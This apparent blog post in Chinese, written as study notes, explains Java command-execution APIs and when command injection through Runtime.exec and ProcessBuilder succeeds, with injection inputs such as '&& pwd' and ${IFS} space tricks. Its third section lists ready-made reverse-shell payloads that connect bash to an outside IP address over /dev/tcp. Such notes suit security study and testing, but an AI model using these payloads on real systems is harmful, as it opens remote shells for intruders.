一、Java中可执行命令的API:

java.lang.Runtime#exec(java.lang.String)
java.lang.Runtime#exec(java.lang.String, java.lang.String[])
java.lang.Runtime#exec(java.lang.String, java.lang.String[], java.io.File)
java.lang.Runtime#exec(java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[])
java.lang.Runtime#exec(java.lang.String[], java.lang.String[], java.io.File)java.lang.ProcessBuilder#ProcessBuilder(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#ProcessBuilder(java.lang.String...)
java.lang.ProcessBuilder#command(java.util.List<java.lang.String>)
java.lang.ProcessBuilder#command(java.lang.String...)
java.lang.ProcessBuilder#command()

命令执行漏洞只关注 第一个String参数 或者 String[]或列表的第一个元素

  • 如果该参数完全可控,或者是/bin/bash(Linux)或cmd(Windows)等运行shell解析器的命令、后面的部分可控,则可以注入。

  • 如果的哥参数是bat或者sh脚本文件,后面的参数可控,则需要根据脚本如何使用可控参数来判断是否可以注入。

其他API:

ScriptEngine接口:可使用ScriptEngine.eval解析多种脚本,比如JavaScript,而JavaScript中可以执行java命令。

二、说明

java的Runtime.getRuntime.exec和ProcessBuilder.start,都是直接启动传入参数对应的进程。以curl为例,php的system会启动系统shell,然后通过shell来启动curl进程,这个过程中,如果传入的命令带有shell能解析的语法,就会首先解析。

所以,如果只是命令执行的部分参数可控,想在java中通过;、|、&等实现命令注入,是行不通的。当然不排除程序本身存在漏洞,只需传入参数即可造成漏洞。

1、ProcessBuilder

第一种情况:某个参数可控

new ProcessBuilder(new String[]{"ls", "-lh", dir};);

//不可执行。这种情况下因为不是只能执行ls命令,后面的均为ls的参数。

第二种情况:完全可控

只能执行一些没有参数的命令,因为ProcessBuilder不支持以字符串形式传入命令,只能拆分成List或者数组的形式传入,才能执行。

// String cmd = "xx";

ProcessBuilder builder = new ProcessBuilder(cmd);

Process process = builder.start();

//部分任意执行。这种情况可执行没有参数的命令,原因为这里 cmd 的值表示的是执行命令的文件路径,因此无法使用参数

第三种情况:shell环境下的某个参数可控

new ProcessBuilder(new String[]{"sh", "-c", "echo test", dir};);

//不可任意执行。这种情况下,dir 传入 pwd 或 ;pwd 都无法执行,因为只有 echo test 会作为 -c 选项的参数值

new ProcessBuilder(new String[]{"sh", "-c", "ls -lh " + dir};);

//可执行不带参数的命令。dir 参数用户可控,如果传入如 && pwd,则可以成功执行 pwd 命令

2、Runtime

Runtime的exec(String command)其内部调用了exec(String command, String[] envp, File dir),传入的字符串命令会先经过 StringTokenizer 进行处理,即使用分隔符,包括空格,\t\n\r\f 对字符串进行分隔后,再调用 exec(String[] cmdarray, String[] envp, File dir),最后是通过ProcessBuilder 来执行的。

第一种情况:如果参数完全可控,则可以执行任意命令

Process process = runtime.exec("sh -c whoami");

第二种情况:若没有手动创建 shell 执行命令,没有存在参数注入,则无法实现命令注入

Process process = runtime.exec("ping -c 1 " + ip);

//这种传入 127.0.0.1 | id,是无法正常执行的

第三种情况:手动创建 shell 执行命令,可执行-c 的参数值的命令,但值内不能有空格、\t\n\r\f 分隔符,否则会被分割

// 相当于执行 sh -c curl,example.com 参数会被忽略

String cmd = "sh -c curl example.com";

// \t 也是分割符之一

String cmd = "sh -c curl\texample.com";

// 使用 ${IFS} (对应内部字段分隔符) 来代替空格,成功执行

String cmd = "sh -c curl${IFS}example.com";

三、在exec中反弹shell命令

方法一:

"Runtime.getRuntime().exec(\"/bin/bash -c bash${IFS}-i>&/dev/tcp/7.249.219.5/80<&1\")"

方法二:

"Runtime.getRuntime().exec(\"/bin/bash -c bash<>-i>&/dev/tcp/7.249.219.5/80<&1\")"

方法三:

str = 命令写这里。

cmd = "sh -c $@ | sh . echo" + str

"Runtime.getRuntime().exec(cmd)"

参考:

Java OS 命令注入学习笔记 | b1ngz

在 Runtime.getRuntime().exec(String cmd) 中执行任意shell命令的几种方法

java中的命令执行汇总相关推荐

  1. Java中的命令设计模式

    在本教程中,我们将学习命令模式,这是一种重要的行为设计模式. 它具有一些重要的应用程序,例如在文本编辑器中实现撤消/重做功能. 在命令设计模式中,有一个命令对象位于发送方和接收方对象之间. 发送者对象 ...

  2. java中的命令行参数_Java中的命令行参数

    java中的命令行参数 Command-line arguments in Java are used to pass arguments to the main program. If you lo ...

  3. 如何在Java中解析命令行参数?

    在Java中解析命令行参数的好方法是什么? #1楼 我不建议使用Apache Common CLI库,因为它是非线程安全的. 它使用带有静态变量和方法的有状态类来进行内部工作(例如OptionBuil ...

  4. 四、MySql七个查询命令中哪些命令执行效率过慢

    七个查询命令中哪些命令执行效率过慢: 1.group by:(最慢)   [原因]:group by 在执行是首先要将临时表中的数据进行排序,然后再进行分组 2.order by: [原因]:需要对s ...

  5. ctf xor题_从一道CTF题目谈PHP中的命令执行

    原创 Xenny 合天智汇 快睡的时候,打开B站发现有位用户留言,大意就是让我帮忙看一道题,正好当时有空,于是就打开了他发的链接,代码如下 很明显是一道PHP代码审计的题目,而且只需要绕过第三行的if ...

  6. 【cmd】windows cmd 中判断命令执行成功

    前言 win10 cmd 中判断命令执行成功 用%errorlevel%变量获取上一条命令的返回值. cmd> cd /d d: cmd> if %errorlevel% == 0 ( e ...

  7. java 中linux命令参数说明,java中linux命令参数说明

    java中linux命令参数说明 [2021-02-01 18:54:34]  简介: 建站服务器 这篇文章主要介绍了Apache中Virtual Host虚拟主机配置及rewrite模块中的重要参数 ...

  8. PHP中的命令执行与代码执行

    title: PHP中的命令执行与代码执行 data: 2021-09-15 tags: CTF-web PHP中的命令执行与代码执行 最近在复习之前学过得知识点.因为之前是0基础来学习的,所以很多东 ...

  9. Java中使用zt-exec执行多shell/Linux命令,执行日志实时推送前端

    在Java中执行Linux命令,日志都是在命令执行完返回,现在用zt-exec实现日志实时同步输出 第一步:maven中引用zt-exec <dependency><groupId& ...

最新文章

  1. tableView下沉
  2. Bootstrap入门(二十九)JS插件6:弹出框
  3. 什么是Java文件?
  4. javascript数字格式化通用类——accounting.js使用
  5. Windows10安装ubuntu 20双系统
  6. 老手萌新学习composer的使用
  7. java在数组中放入随机数_如何在Java中随机播放数组
  8. 1.java-谈谈接口
  9. 前端:用css打造炫酷3d特效- css3d立方体
  10. ALEXA解释(日IP500,可以使你进10万内)
  11. Unity教程2D入门:25 主菜单MainMenu
  12. CondaSSLError: OpenSSL appears to be unavailable on this machine
  13. [AtCoder ARC093F]Dark Horse
  14. 使用Python按时间顺序批量重命名文件
  15. 【英文美方阅读】之《The falling of the leaves》——《叶落》
  16. 初级软件测试入门教程
  17. 计算机工作流程flash动画,计算机动画设计:FlashCS3
  18. 使用DirectInput进行交互(2)
  19. 200个Java必背词汇
  20. 关于完全卸载2345王牌输入法-win10

热门文章

  1. 企业会计准则(具体准则)第4号——固定资产
  2. 苹果手机免密支付怎么取消_小心你手机APP上的免密支付!有人3分钟被盗刷8000多元...
  3. 中国姓氏大全,百家姓
  4. 如何获取三维标签的轮廓表示
  5. 腾讯内部推出”Netty速成手册“,三天走向实战,面试不是洒洒水?
  6. python roc计算_ROC评价指标最全攻略及Python实现
  7. Arduino TFT_eSPI库来驱动SPI接口的LCD显示文字详解
  8. Verilog时钟分析
  9. android wear恢复出厂,不恢复出厂,用你的新手机连接你的 Wear OS 手表
  10. Azure Blob 存储